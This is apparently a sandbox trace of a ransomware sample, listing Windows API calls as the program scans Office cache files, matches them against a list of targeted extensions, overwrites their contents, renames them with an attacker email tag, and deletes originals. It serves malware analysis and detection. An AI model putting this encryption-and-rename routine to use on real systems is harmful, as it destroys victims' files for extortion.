	[0104.936] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x35bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfcb0*=0xc0102, lpOverlapped=0x0) returned 1
	[0104.951] SetEndOfFile (hFile=0x1e8) returned 1
	[0104.951] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f602b0
	[0104.953] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0104.953] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f602b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f602b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0104.954] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0104.954] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f602b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f602b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0104.955] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0104.955] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f602b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f602b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0104.970] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f602b0 | out: hHeap=0x4a0000) returned 1
	[0104.970] CloseHandle (hObject=0x1e8) returned 1
	[0104.971] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0104.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0104.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0104.971] lstrlenW (lpString=".doc") returned 4
	[0104.971] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0104.971] lstrlenW (lpString=".docx") returned 5
	[0104.971] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0104.971] lstrlenW (lpString=".pdf") returned 4
	[0104.971] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0104.971] lstrlenW (lpString=".xls") returned 4
	[0104.971] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0104.971] lstrlenW (lpString=".xlsx") returned 5
	[0104.972] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0104.972] lstrlenW (lpString=".ppt") returned 4
	[0104.972] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0104.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0104.972] lstrlenW (lpString=".zip") returned 4
	[0104.972] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0104.972] lstrlenW (lpString=".rar") returned 4
	[0104.972] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0104.972] lstrlenW (lpString=".bz2") returned 4
	[0104.972] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0104.972] lstrlenW (lpString=".7z") returned 3
	[0104.972] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0104.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0104.972] lstrlenW (lpString=".dbf") returned 4
	[0104.972] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0104.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0104.972] lstrlenW (lpString=".1cd") returned 4
	[0104.972] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0104.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0104.972] lstrlenW (lpString=".jpg") returned 4
	[0104.972] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0104.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0104.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0104.973] lstrlenW (lpString=".doc") returned 4
	[0104.973] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0104.973] lstrlenW (lpString=".docx") returned 5
	[0104.973] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0104.973] lstrlenW (lpString=".pdf") returned 4
	[0104.973] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0104.973] lstrlenW (lpString=".xls") returned 4
	[0104.973] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0104.973] lstrlenW (lpString=".xlsx") returned 5
	[0104.973] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0104.973] lstrlenW (lpString=".ppt") returned 4
	[0104.973] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0104.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0104.973] lstrlenW (lpString=".zip") returned 4
	[0104.973] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0104.973] lstrlenW (lpString=".rar") returned 4
	[0104.973] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0104.973] lstrlenW (lpString=".bz2") returned 4
	[0104.973] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0104.973] lstrlenW (lpString=".7z") returned 3
	[0104.973] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0104.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0104.973] lstrlenW (lpString=".dbf") returned 4
	[0104.973] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0104.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0104.973] lstrlenW (lpString=".1cd") returned 4
	[0104.973] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0104.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0104.974] lstrlenW (lpString=".jpg") returned 4
	[0104.974] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0104.974] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0104.974] lstrlenW (lpString="OWOW32WW.cab") returned 12
	[0104.974] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0104.975] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=36233052) returned 1
	[0104.975] CloseHandle (hObject=0x1e8) returned 1
	[0104.975] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020
	[0104.975] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0104.976] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0104.976] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0104.976] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0x0) returned 1
	[0104.977] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0104.977] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0105.217] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0105.217] ReadFile (in: hFile=0x1e8, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0105.287] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.287] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0105.287] ReadFile (in: hFile=0x1e8, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0105.457] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.457] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x35bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0105.472] SetEndOfFile (hFile=0x1e8) returned 1
	[0105.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f602b0
	[0105.472] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0105.472] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f602b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f602b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0105.473] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0105.473] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f602b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f602b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0105.474] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0105.474] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f602b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f602b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0105.476] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f602b0 | out: hHeap=0x4a0000) returned 1
	[0105.476] CloseHandle (hObject=0x1e8) returned 1
	[0105.476] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0105.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0105.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0105.477] lstrlenW (lpString=".doc") returned 4
	[0105.477] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0105.477] lstrlenW (lpString=".docx") returned 5
	[0105.477] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0105.477] lstrlenW (lpString=".pdf") returned 4
	[0105.477] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0105.477] lstrlenW (lpString=".xls") returned 4
	[0105.477] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0105.477] lstrlenW (lpString=".xlsx") returned 5
	[0105.477] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0105.477] lstrlenW (lpString=".ppt") returned 4
	[0105.477] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0105.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0105.477] lstrlenW (lpString=".zip") returned 4
	[0105.477] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0105.477] lstrlenW (lpString=".rar") returned 4
	[0105.477] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0105.477] lstrlenW (lpString=".bz2") returned 4
	[0105.477] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0105.477] lstrlenW (lpString=".7z") returned 3
	[0105.477] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0105.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0105.477] lstrlenW (lpString=".dbf") returned 4
	[0105.477] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0105.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0105.478] lstrlenW (lpString=".1cd") returned 4
	[0105.478] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0105.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0105.478] lstrlenW (lpString=".jpg") returned 4
	[0105.478] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0105.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0105.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0105.478] lstrlenW (lpString=".doc") returned 4
	[0105.478] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0105.478] lstrlenW (lpString=".docx") returned 5
	[0105.478] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0105.478] lstrlenW (lpString=".pdf") returned 4
	[0105.478] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0105.478] lstrlenW (lpString=".xls") returned 4
	[0105.478] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0105.478] lstrlenW (lpString=".xlsx") returned 5
	[0105.478] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0105.478] lstrlenW (lpString=".ppt") returned 4
	[0105.478] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0105.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0105.478] lstrlenW (lpString=".zip") returned 4
	[0105.478] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0105.478] lstrlenW (lpString=".rar") returned 4
	[0105.478] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0105.478] lstrlenW (lpString=".bz2") returned 4
	[0105.478] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0105.478] lstrlenW (lpString=".7z") returned 3
	[0105.479] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0105.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0105.479] lstrlenW (lpString=".dbf") returned 4
	[0105.479] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0105.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0105.479] lstrlenW (lpString=".1cd") returned 4
	[0105.479] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0105.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0105.479] lstrlenW (lpString=".jpg") returned 4
	[0105.479] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0105.479] lstrcmpiW (lpString1=".dll", lpString2=".4k") returned 1
	[0105.479] lstrlenW (lpString="PidGenX.dll") returned 11
	[0105.479] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0105.479] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=1463568) returned 1
	[0105.479] CloseHandle (hObject=0x1e8) returned 1
	[0105.480] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020
	[0105.480] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.480] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0105.480] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.480] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.480] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0105.480] GetLastError () returned 0x0
	[0105.480] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0106.030] WriteFile (in: hFile=0x210, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0106.045] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0x65520, lpOverlapped=0x0) returned 1
	[0106.308] WriteFile (in: hFile=0x210, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0x65530, lpOverlapped=0x0) returned 1
	[0106.316] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.316] WriteFile (in: hFile=0x210, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0xea, lpOverlapped=0x0) returned 1
	[0106.316] SetEndOfFile (hFile=0x210) returned 1
	[0106.316] CloseHandle (hObject=0x210) returned 1
	[0106.316] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.316] SetEndOfFile (hFile=0x1e8) returned 1
	[0106.320] CloseHandle (hObject=0x1e8) returned 1
	[0106.320] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0106.321] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1
	[0106.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0106.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0106.321] lstrlenW (lpString=".doc") returned 4
	[0106.321] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0106.321] lstrlenW (lpString=".docx") returned 5
	[0106.321] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0106.321] lstrlenW (lpString=".pdf") returned 4
	[0106.321] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0106.321] lstrlenW (lpString=".xls") returned 4
	[0106.321] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0106.321] lstrlenW (lpString=".xlsx") returned 5
	[0106.321] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0106.321] lstrlenW (lpString=".ppt") returned 4
	[0106.321] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0106.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0106.321] lstrlenW (lpString=".zip") returned 4
	[0106.321] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0106.321] lstrlenW (lpString=".rar") returned 4
	[0106.321] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0106.321] lstrlenW (lpString=".bz2") returned 4
	[0106.321] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0106.321] lstrlenW (lpString=".7z") returned 3
	[0106.321] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0106.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0106.322] lstrlenW (lpString=".dbf") returned 4
	[0106.322] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0106.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0106.322] lstrlenW (lpString=".1cd") returned 4
	[0106.322] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0106.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0106.322] lstrlenW (lpString=".jpg") returned 4
	[0106.322] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0106.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0106.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0106.322] lstrlenW (lpString=".doc") returned 4
	[0106.322] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0106.322] lstrlenW (lpString=".docx") returned 5
	[0106.322] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0106.322] lstrlenW (lpString=".pdf") returned 4
	[0106.322] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0106.322] lstrlenW (lpString=".xls") returned 4
	[0106.322] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0106.322] lstrlenW (lpString=".xlsx") returned 5
	[0106.322] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0106.322] lstrlenW (lpString=".ppt") returned 4
	[0106.322] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0106.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0106.322] lstrlenW (lpString=".zip") returned 4
	[0106.322] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
